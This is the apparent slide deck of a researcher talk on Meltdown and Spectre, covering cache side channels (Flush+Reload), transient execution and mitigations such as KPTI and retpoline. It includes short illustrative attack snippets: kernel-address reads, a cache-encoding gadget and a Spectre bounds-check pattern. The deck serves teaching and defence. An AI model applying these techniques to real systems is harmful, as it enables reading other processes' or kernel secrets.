Beyond Belief: Spectre and Meltdown

with Daniel Gruss, Moritz Lipp, Michael Schwarz
Is this all a conspiracy?

- Vulnerability existed for many years
Is this all a conspiracy?

- Vulnerability existed for many years
- No one discovered it before
Timeline of a Vulnerability

Is this all a conspiracy?

- Vulnerability existed for many years
- No one discovered it before
- Suddenly, 4 independent teams discover it within 6 months
Timeline of a Vulnerability

Is this all a conspiracy?

- Vulnerability existed for many years
- No one discovered it before
- Suddenly, 4 independent teams discover it within 6 months
- Let’s create an evidence board
Not a conspiracy

- Tools to detect the bug only invented in 2014
Not a conspiracy

- Tools to detect the bug only invented in 2014
- No broad interest in microarchitectural attacks before
Not a conspiracy

- Tools to detect the bug only invented in 2014
- No broad interest in microarchitectural attacks before
- Discovering teams quite knowledgeable in this area
Not a conspiracy

- Tools to detect the bug only invented in 2014
- No broad interest in microarchitectural attacks before
- Discovering teams quite knowledgeable in this area
- The bug was “ripe” $\Rightarrow$ a consequence of research in this area
Not a conspiracy

- Tools to detect the bug only invented in 2014
- No broad interest in microarchitectural attacks before
- Discovering teams quite knowledgeable in this area
- The bug was “ripe” ⇒ a consequence of research in this area
  → bug collision nearly inevitable
You realize it is something big when...
You realize it is something big when...

- it is in the news, all over the world
You realize it is something big when...

- it is in the news, all over the world
- you get a Wikipedia article in multiple languages
- there are comics, including xkcd
- you get a lot of Twitter followers after Snowden mentioned you
You realize it is something big when...

- it is in the news, all over the world
- you get a Wikipedia article in multiple languages
- there are comics, including xkcd
- you get a lot of Twitter followers after Snowden mentioned you
You realize it is something big when...

- it is in the news, all over the world
- you get a Wikipedia article in multiple languages
- there are comics, including xkcd
- you get a lot of Twitter follower after Snowden mentioned you
You realize it is something big when...

- it is in the news, all over the world
- you get a Wikipedia article in multiple languages
- there are comics, including xkcd
- you get a lot of Twitter followers after Snowden mentioned your work

Daniel Gruss, Moritz Lipp, Michael Schwarz — www.iaik.tugraz.at
You realize it is something big when...

- it is in the news, all over the world
- you get a Wikipedia article in multiple languages
Meltdown (security vulnerability)

From Wikipedia, the free encyclopedia

**Meltdown** is a hardware vulnerability affecting Intel x86 microprocessors and some ARM-based microprocessors.[1][2][3] It allows a rogue process to read all memory, even when it is not authorized to do so.

Meltdown affects a wide range of systems. At the time of disclosure, this included all devices running any but the most recent and patched versions of iOS,[4] Linux,[5][6], macOS,[4] or Windows. Accordingly, many servers and cloud services were impacted,[7] as well as a potential majority of smart devices and embedded devices using ARM based processors (mobile devices, smart TVs and others), including a wide range of networking equipment. A purely software workaround to Meltdown has been assessed as slowing computers between 5 and 30 percent in certain specialized workloads,[8] although companies responsible for software correction of the exploit are reporting minimal impact from general benchmark testing.[9]

Meltdown was issued a Common Vulnerabilities and Exposures ID of CVE-2017-5754, also known as Rogue Data Cache Load,[2] in January 2018. It was disclosed in conjunction with another exploit, Spectre, with which it shares some, but not all characteristics. The Meltdown and Spectre vulnerabilities are considered "catastrophic"
Spectre (security vulnerability)

From Wikipedia, the free encyclopedia

Spectre is a vulnerability that affects modern microprocessors that perform branch prediction. On most processors, the speculative execution resulting from a branch misprediction may leave observable side effects that may reveal private data to attackers. For example, if the pattern of memory accesses performed by such speculative execution depends on private data, the resulting state of the data cache constitutes a side channel through which an attacker may be able to extract information about the private data using a timing attack.

Two Common Vulnerabilities and Exposures IDs related to Spectre, CVE-2017-5753 (bounds check bypass) and CVE-2017-5715 (branch target injection), have been issued. JIT engines used for JavaScript were found vulnerable. A website can read data stored in the browser for another website, or the browser’s memory itself.

Several procedures to help protect home computers and related devices from the Spectre (and Meltdown) security vulnerabilities have been published. Spectre patches have been reported to significantly slow down performance, especially on older computers; on the newer 8th generation Core platforms, benchmark performance drops of 2–14 percent have been measured. Meltdown patches may also produce performance loss.
You realize it is something big when...

- it is in the news, all over the world
- you get a Wikipedia article in multiple languages
- there are comics, including xkcd
You realize it is something big when...

- it is in the news, all over the world
- you get a Wikipedia article in multiple languages
- there are comics, including xkcd
- you get a lot of Twitter followers after Snowden mentioned you

The Meltdown and Spectre exploits use "speculative execution?" What's that?

You know the Trolley Problem? Well, for a while now, CPUs have basically been sending trolleys down both paths, quantum-style, while awaiting your choice. Then the unwanted "phantom" trolley disappears.

That sounds bad. Honestly, I've been assuming we were doomed ever since I learned about rowhammer.

What's that? If you toggle a row of memory cells on and off really fast, you can use electrical interference to flip nearby bits and—do we just suck at...computers?

Yup, especially shared ones.

So you're saying the cloud is full of phantom trolleys armed with hammers.

...Yes, that is exactly right. Okay, I'll, uh...install updates?

Good idea.
You realize it is something big when...

- it is in the news, all over the world
- you get a Wikipedia article in multiple languages
- there are comics, including xkcd
- you get a lot of Twitter followers after Snowden mentioned you

Daniel Gruss, Moritz Lipp, Michael Schwarz — www.iaik.tugraz.at
You realize it is something big when...

- it is in the news, all over the world
- you get a Wikipedia article in multiple languages
- there are comics, including xkcd
- you get a lot of Twitter follower after Snowden mentioned you
You realize it is something big when...

- it is in the news, all over the world
- you get a Wikipedia article in multiple languages
- there are comics, including xkcd
- you get a lot of Twitter followers after Snowden mentioned you

Edward Snowden
@Snowden

You may have heard about @Intel's horrific #Meltdown bug. But have you watched it in action? When your computer asks you to apply updates this month, don't click "not now." (via spectreattack.com & @misc0110)


152 Retweets 6.547 Likes 6.512

Daniel Gruss, Moritz Lipp, Michael Schwarz — www.iaik.tugraz.at
Kernel is isolated from user space
The Core of Meltdown/Spectre

- Kernel is isolated from user space
- This isolation is a combination of hardware and software
The Core of Meltdown/Spectre

- Kernel is isolated from user space
- This **isolation** is a combination of hardware and software
- User applications cannot access anything from the kernel
- Kernel is isolated from user space
- This isolation is a combination of hardware and software
- User applications cannot access anything from the kernel
- There is only a well-defined interface → syscalls
FOOD CACHE

Revolutionary concept!

Store your food at home, never go to the grocery store during cooking.

Can store ALL kinds of food.

ONLY TODAY INSTEAD OF $1,300

ORDER VIA PHONE: +555 12345
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);

Cache miss
Request

CPU Cache
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
Cache miss
DRAM access,
slow

printf("%d", i);
Cache hit

Request
Response
CPU Cache

printf("%d", i);
Cache miss
DRAM access, slow

printf("%d", i);
Cache hit
No DRAM access, much faster

printf("%d", i);
Request
Response
Flush+Reload

ATTACKER

Shared Memory

cached

VICTIM

flush
access

cached

access

Daniel Gruss, Moritz Lipp, Michael Schwarz — www.iaik.tugraz.at
Flush + Reload

ATTACKER

flush
access

Shared Memory

VICTIM

access
Flush+Reload

ATTACKER
flush
access

Shared Memory

VICTIM
access
Flush+Reload

ATTACKER
flush
access

Shared Memory

VICTIM
access
Flush+Reload

ATTACKER

Shared Memory

VICTIM

flush
access

flush
access

Shared Memory
Flush+Reload

ATTACKER

Shared Memory

VICTIM

flush
access

access
Flush+Reload

ATTACKER

VICTIM

shared Memory

flush
access

fast if victim accessed data,
slow otherwise

Daniel Gruss, Moritz Lipp, Michael Schwarz — www.iaik.tugraz.at
Back to Work
6. Cook everything and vegetables are soft
7. Serve with cooked and peeled potatoes
Wait for an hour
Wait for an hour

LATENCY
1. Wash and cut vegetables
2. Pick the basil leaves and set aside
3. Heat 2 tablespoons of oil in a pan
4. Fry vegetables until golden and softened
1. Wash and cut vegetables

2. Pick the basil leaves and set aside

3. Heat 2 tablespoons of oil in a pan

4. Fry vegetables until golden and softened
int width = 10, height = 5;

float diagonal = sqrt(width * width + height * height);
int area = width * height;

printf("Area %d x %d = %d\n", width, height, area);
Out-of-order Execution

```
int width = 10, height = 5;

float diagonal = sqrt(width * width + height * height);

int area = width * height;

printf("Area %d x %d = %d\n", width, height, area);
```
• Find something human readable, e.g., the Linux version

```bash
# sudo grep linux_banner /proc/kallsyms
ffffffff81a000e0 R linux_banner
```
```c
char data = *(char*)0xffffffff81a000e0;
printf("%c\n", data);
```
- Compile and run

```
segfault at ffffffff81a000e0 ip 00000000000400535
   sp 00007ffce4a80610 error 5 in reader
```
• Compile and run

```plaintext
segfault at ffffffff81a000e0 ip 0000000000400535
    sp 00007ffce4a80610 error 5 in reader
```

• Kernel addresses are of course not accessible
Compile and run

```
segsfault at ffffffff81a000e0 ip 0000000000400535
sp 00007ffce4a80610 error 5 in reader
```

- Kernel addresses are of course not accessible
- Any invalid access throws an exception → segmentation fault
• Just catch the segmentation fault!
• Just catch the segmentation fault!
• We can simply install a signal handler
• Just catch the segmentation fault!
• We can simply install a signal handler
• And if an exception occurs, just jump back and continue
• Just catch the segmentation fault!
• We can simply install a signal handler
• And if an exception occurs, just jump back and continue
• Then we can read the value
• Just catch the segmentation fault!
• We can simply install a signal handler
• And if an exception occurs, just jump back and continue
• Then we can read the value
• Sounds like a good idea
Still no kernel memory
• Still no kernel memory
• Maybe it is not that straightforward
Still no kernel memory
Maybe it is not that straightforward
Privilege checks seem to work
Still no kernel memory
Maybe it is not that straight forward
Privilege checks seem to work
Are privilege checks also done when executing instructions out of order?
Still no kernel memory
Maybe it is not that straight forward
Privilege checks seem to work
Are privilege checks also done when executing instructions out of order?
Problem: out-of-order instructions are not visible
Adapted code

*(volatile char*) 0;
array[0] = 0;
• Adapted code

\[
*(\text{volatile char} *)0;
\]
array[0] = 0;

• \text{volatile} because compiler was not happy

\text{warning: statement with no effect [–Wunused-value]}
\[
*(\text{char} *)0;
\]
- Adapted code

```c
*(volatile char*)0;
array[0] = 0;
```

- `volatile` because compiler was not happy

```
warning: statement with no effect [-Wunused-value]
  *(char*)0;
```

- Static code analyzer is still not happy

```
warning: Dereference of null pointer
  *(volatile char*)0;
```
Traces in the Cache
Traces in the Cache

CACHE
Traces in the Cache
Traces in the Cache

CACHE

Daniel Gruss, Moritz Lipp, Michael Schwarz — www.iaik.tugraz.at
• Out-of-order instructions leave microarchitectural traces
Out-of-order instructions leave microarchitectural traces

We can see them for example in the cache
• Out-of-order instructions leave microarchitectural traces
• We can see them for example in the cache
• Give such instructions a name: transient instructions
Out-of-order instructions leave microarchitectural traces
We can see them for example in the cache
Give such instructions a name: transient instructions
We can indirectly observe the execution of transient instructions
• Maybe there is no permission check in transient instructions...

```c
char data = *(char*)0xffffffff81a000e0;
array[data * 4096] = 0;
```

Then check whether any part of `array` is cached.
• Maybe there is no permission check in transient instructions...
• ...or it is only done when committing them
• Maybe there is no permission check in transient instructions...
• ...or it is only done when committing them
• Add another layer of indirection to test

```c
char data = *(char*)0xffffffff81a000e0;
array[data * 4096] = 0;
```
• Maybe there is no permission check in transient instructions...
• ...or it is only done when committing them
• Add another layer of indirection to test

```c
char data = *(char*)0xffffffff81a000e0;
array[data * 4096] = 0;
```

• Then check whether any part of `array` is cached
- Flush+Reload over all pages of the array

- Index of cache hit reveals data
- Flush+Reload over all pages of the array

- Index of cache hit reveals data

- Permission check is in some cases not fast enough
CAN YOU ENHANCE THAT
meltdown@meltdown ~/ppm2 % taskset 1 ./imgdump 0x375a00000 14919 > output.fli
Reading from 0xffff880375a00000
AND IN OTHER NEWS...

WE'RE ALL DOOMED, SANDRA. HOW ABOUT THE WEATHER?
Not so fast...
Kernel addresses in user space are a problem
Take the kernel addresses...

- Kernel addresses in user space are a problem
- Why don’t we take the kernel addresses...
...and remove them

- ...and remove them if not needed?
...and remove them

- ...and remove them if not needed?
- User accessible check in hardware is not reliable
Let’s just unmap the kernel in user space
Let’s just unmap the kernel in user space
Kernel addresses are then no longer present
Let’s just unmap the kernel in user space
Kernel addresses are then no longer present
Memory which is not mapped cannot be accessed at all
Kernel Address Isolation to have Side channels Efficiently Removed
Kernel Address Isolation to have Side channels Efficiently Removed
Userspace

Applications

Kernelspace

Operating System

Memory
- We published KAISER in July 2017
- We published **KAISER** in July 2017
- Intel and others improved and merged it into Linux as **KPTI** (Kernel Page Table Isolation)
We published KAISER in July 2017. Intel and others improved and merged it into Linux as KPTI (Kernel Page Table Isolation). Microsoft implemented a similar concept in Windows 10.
We published KAISER in July 2017.

Intel and others improved and merged it into Linux as KPTI (Kernel Page Table Isolation).

Microsoft implemented similar concept in Windows 10.

Apple implemented it in macOS 10.13.2 and called it “Double Map”.
We published **KAISER** in July 2017.

- Intel and others improved and merged it into Linux as **KPTI** (Kernel Page Table Isolation).
- Microsoft implemented similar concept in Windows 10.
- Apple implemented it in macOS 10.13.2 and called it “Double Map”.
- All share the same idea: switching address spaces on context switch.
WAIT A MOMENT...

DUPLICATING EVERYTHING? THAT SOUNDS REALLY SLOW
- Depends on how often you need to switch between kernel and user space
• Depends on how often you need to switch between kernel and user space
• Can be slow, 40% or more on old hardware
Performance

- Depends on how often you need to switch between kernel and user space
- Can be slow, 40% or more on old hardware
- But modern CPUs have additional features
- Depends on how often you need to switch between kernel and user space
- Can be slow, 40% or more on old hardware
- But modern CPUs have additional features
- \( \Rightarrow \) Performance overhead on average below 2\%
Meltdown and Spectre

MELTDOWN  SPECTRE

Daniel Gruss, Moritz Lipp, Michael Schwarz — www.iaik.tugraz.at
Prosciutto
Funghi
Diavolo
Diavolo
Diavolo
Diavolo
»A table for 6 please«
Speculative Cooking
»A table for 6 please«
PIZZA

SPECIAL RECIPES

Pizza
```c
index = 0;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0
```
index = 0;

char* data = "textKEY";

if (index < 4)
then
Prediction
LUT[data[index] * 4096]
else
0
index = 0;

cchar* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
Speculate

Prediction

0
index = 0;
char* data = "textKEY";

if (index < 4)
  then
    LUT[data[index] * 4096]
  else
    Prediction
    0
index = 1;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0
index = 1;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0

Prediction
index = 1;

char* data = "textKEY";

if (index < 4)
else

Speculate then

LUT[data[index] * 4096]

if (index < 4)
Prediction else

0
index = 1;

char* data = "textKEY";

if (index < 4)
    Prediction

else
    LUT[data[index] * 4096] 0
index = 2;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0

Prediction
index = 2;

char* data = "textKEY";

if (index < 4)
    Prediction
else
    0

LUT[data[index] * 4096]
index = 2;

char* data = "textKEY";

if (index < 4)
    Speculate
then
LUT[data[index] * 4096]
else
Prediction
0

Daniel Gruss, Moritz Lipp, Michael Schwarz — www.iaik.tugraz.at
index = 2;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0
index = 3;

```
char* data = "textKEY";
```

```
if (index < 4)
```

then

```
LUT[data[index] * 4096]
```

else

```
0
```

Prediction
index = 3;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0
index = 3;

char* data = "textKEY";

if (index < 4)
    Speculate
    then
    LUT[data[index] * 4096]
else
    Prediction
    0
index = 3;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
Prediction
0
index = 4;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0

Prediction
index = 4;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096] 0
else
Prediction
index = 4;

char* data = "textKEY";

if (index < 4)
    Speculate
    then
    LUT[data[index] * 4096]
    else
    Prediction
    0

Daniel Gruss, Moritz Lipp, Michael Schwarz — www.iaik.tugraz.at
index = 4;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
Prediction
Execute
0
index = 5;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096] 0
index = 5;

char* data = "textKEY";

if (index < 4)
then
Prediction

LUT[data[index] * 4096] 0
else
0
index = 5;

char* data = "textKEY";

if (index < 4)

Speculate

then

LUT[data[index] * 4096]

else

Prediction

0
index = 5;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

Execute

0
index = 6;

char* data = "textKEY";

if (index < 4)

then

Prediction

LUT[data[index] * 4096]

else

0
index = 6;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

Prediction

0
\textbf{Spectre (variant 1)}

\begin{itemize}
  \item \texttt{index = 6;}
  \item \texttt{char* data = "textKEY";}
  \item \texttt{if (index < 4)}
  \item \texttt{LUT[data[index] \ast 4096]}
  \item \texttt{else 0}
\end{itemize}
index = 6;

char* data = "textKEY";

if (index < 4)
    then
        LUT[data[index] * 4096]
    else
        Prediction
        Execute
        0
Animal* a = bird;

a->move();

fly()   swim()  swim()

LUT[data[index] * 4096]  0

Prediction
`Animal* a = bird;`
```c
Animal* a = bird;
```

```c
LUT[data[index] * 4096]
```

Prediction

- `fly()`
- `swim()`
- `swim()`

```c
0
```
Animal* a = bird;

Execute

a->move();

LUT[data[index] * 4096]

fly()

swim()

Prediction

0
Animal* a = bird;

a->move();

fly()

fly()

swim()

LUT[data[index] * 4096]

0
Animal* a = bird;

a->move();
Animal* a = bird;

a->move();

fly()

LUT[data[index] * 4096]

Prediction

fly()

swim()

0
Animal* a = fish;

a->move();

fly();

LUT[data[index] * 4096]

fly()

swim()

Prediction

0
Animal* a = fish;

a->move();

Speculate

fly()

LUT[data[index] * 4096]

Prediction

fly()

swim()

0
Animal* a = fish;

a->move();

fly()

fly()

swim()

LUT[data[index] * 4096]

0
Animal* a = fish;

a->move();
```c
Animal* a = fish;

a->move();
```

LUT[data[index] * 4096] 0
• Read own memory (e.g., sandbox escape)
• Read own memory (e.g., sandbox escape)
• “Convince” other programs to reveal their secrets
- Read own memory (e.g., sandbox escape)
- “Convince” other programs to reveal their secrets
- Again, a cache attack (Flush+Reload) is used to read the secret
Read own memory (e.g., sandbox escape)

“Convince” other programs to reveal their secrets

Again, a cache attack (Flush+Reload) is used to read the secret

Much harder to fix, KAISER does not help
- Read own memory (e.g., sandbox escape)
- “Convince” other programs to reveal their secrets
- Again, a cache attack (Flush+Reload) is used to read the secret
- Much harder to fix, KAISER does not help
- Ongoing effort to patch via microcode update and compiler extensions
Spectre Variant 1 Mitigations

LFENCE

speculation barrier to insert after every bounds check

implemented as a compiler extension

Daniel Gruss, Moritz Lipp, Michael Schwarz — www.iaik.tugraz.at
Spectre Variant 1 Mitigations

- LFENCE
- LFENCE
  → speculation barrier to insert after every bounds check
Spectre Variant 1 Mitigations

- LFENCE
  - speculation barrier to insert after every bounds check
- implemented as a compiler extension
• Indirect Branch Restricted Speculation (IBRS):
Indirect Branch Restricted Speculation (IBRS):

- do not speculate based on anything before entering IBRS mode
• Indirect Branch Restricted Speculation (IBRS):
  • do not speculate based on anything before entering IBRS mode
  • hyperthreading?
Indirect Branch Restricted Speculation (IBRS):
- do not speculate based on anything before entering IBRS mode
- hyperthreading?

Indirect Branch Predictor Barrier (IBPB):
- Indirect Branch Restricted Speculation (IBRS):
  - do not speculate based on anything before entering IBRS mode
  - hyperthreading?
- Indirect Branch Predictor Barrier (IBPB):
  - flush branch-target buffer
Indirect Branch Restricted Speculation (IBRS):
- do not speculate based on anything before entering IBRS mode
- hyperthreading?

Indirect Branch Predictor Barrier (IBPB):
- flush branch-target buffer
- hyperthreading?
Single Thread Indirect Branch Predictors (STIBP)

```
1:
lea 8(%, rsp), %rsp ; restore stack pointer
ret ; the actual call to <call_target>
!
always predict to enter an endless loop
instead of the correct (or wrong) target function
!
performance?
On Broadwell or newer:
ret may fall-back to the BTB for prediction
!
microcode patches to prevent that
```
Single Thread Indirect Branch Predictors (STIBP) = retpoline
Single Thread Indirect Branch Predictors (STIBP) = retpoline

\[
\begin{align*}
push & \text{ <call_target>} \\
call & 1f \\
2: & \quad \text{; speculation will continue here} \\
lfence & \quad \text{; speculation barrier} \\
jmp & 2b \quad \text{; endless loop} \\
1: & \quad \text{; the actual call to <call_target>} \\
lea & 8(\%rsp), \%rsp \\
ret & \quad \text{; restore stack pointer} \\
\end{align*}
\]

→ always predict to enter an endless loop
Spectre Variant 2 Mitigations (Software)

Single Thread Indirect Branch Predictors (STIBP) = retpoline

```
push <call_target>
call 1f
2: ; speculation will continue here
lfence ; speculation barrier
jmp 2b ; endless loop
1:
lea 8(%rsp), %rsp ; restore stack pointer
ret ; the actual call to <call_target>
```

→ always predict to enter an endless loop

• instead of the correct (or wrong) target function
Single Thread Indirect Branch Predictors (STIBP) = \textit{retpoline}

\begin{verbatim}
push <call_target>
call 1f
2: ; speculation will continue here
lfence ; speculation barrier
jmp 2b ; endless loop
1:
lea 8(%rsp), %rsp ; restore stack pointer
ret ; the actual call to <call_target>
\end{verbatim}

→ always predict to enter an endless loop

- instead of the correct (or wrong) target function → performance?
Single Thread Indirect Branch Predictors (STIBP) = retpoline

```c
push <call_target>
call 1f
2: ; speculation will continue here
lfence ; speculation barrier
jmp 2b ; endless loop
1:
lea 8(%rsp), %rsp ; restore stack pointer
ret ; the actual call to <call_target>
```

→ always predict to enter an endless loop

- instead of the correct (or wrong) target function → performance?
- On Broadwell or newer:
Single Thread Indirect Branch Predictors (STIBP) = retpoline

```
push <call_target>
call 1f
2: ; speculation will continue here
lfence ; speculation barrier
jmp 2b ; endless loop
1:
   lea 8(%rsp), %rsp ; restore stack pointer
   ret ; the actual call to <call_target>
```

→ always predict to enter an endless loop

- instead of the correct (or wrong) target function → performance?
- On Broadwell or newer:
  - ret may fall-back to the BTB for prediction
Single Thread Indirect Branch Predictors (STIBP) = retpoline

```
push <call_target>
call 1f
2: ; speculation will continue here
    lfence ; speculation barrier
    jmp 2b ; endless loop
1:
    lea 8(%rsp), %rsp ; restore stack pointer
    ret ; the actual call to <call_target>
```

→ always predict to enter an endless loop

- instead of the correct (or wrong) target function → performance?
- On Broadwell or newer:
  - `ret` may fall-back to the BTB for prediction
  → microcode patches to prevent that
We have ignored software side-channels for many many years:
What do we learn from it?

We have ignored software side-channels for many many years:

- attacks on crypto
We have ignored software side-channels for many many years:

- attacks on crypto → “software should be fixed”
We have ignored software side-channels for many many years:

- attacks on crypto \(\rightarrow\) “software should be fixed”
- attacks on ASLR
We have ignored software side-channels for many many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
What do we learn from it?

We have ignored software side-channels for many many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone
What do we learn from it?

We have ignored software side-channels for many many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
We have ignored software side-channels for many many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
- for years we solely optimized for performance
When you read the Intel manuals...

After learning about a side channel you realize:
After learning about a side channel you realize:

- the side channels were documented in the Intel manual
After learning about a side channel you realize:

- the side channels were documented in the Intel manual
- only now we understand the implications
What do we learn from it?

Motor Vehicle Deaths in U.S. by Year
A unique chance to

- rethink processor design
- grow up, like other fields (car industry, construction industry)
- find good trade-offs between security and performance
Conclusion

- Underestimated microarchitectural attacks for a long time
  - Basic techniques were there for years
- Industry and customers must embrace security mechanisms
  - Run through the same development (for security) as the automobile industry (for safety)
  - It should not be “performance first”, but “security first”
Any Questions?
Beyond Belief: Spectre and Meltdown

Daniel Gruss @lavados
Moritz Lipp @mlqxyz
Michael Schwarz @misc0110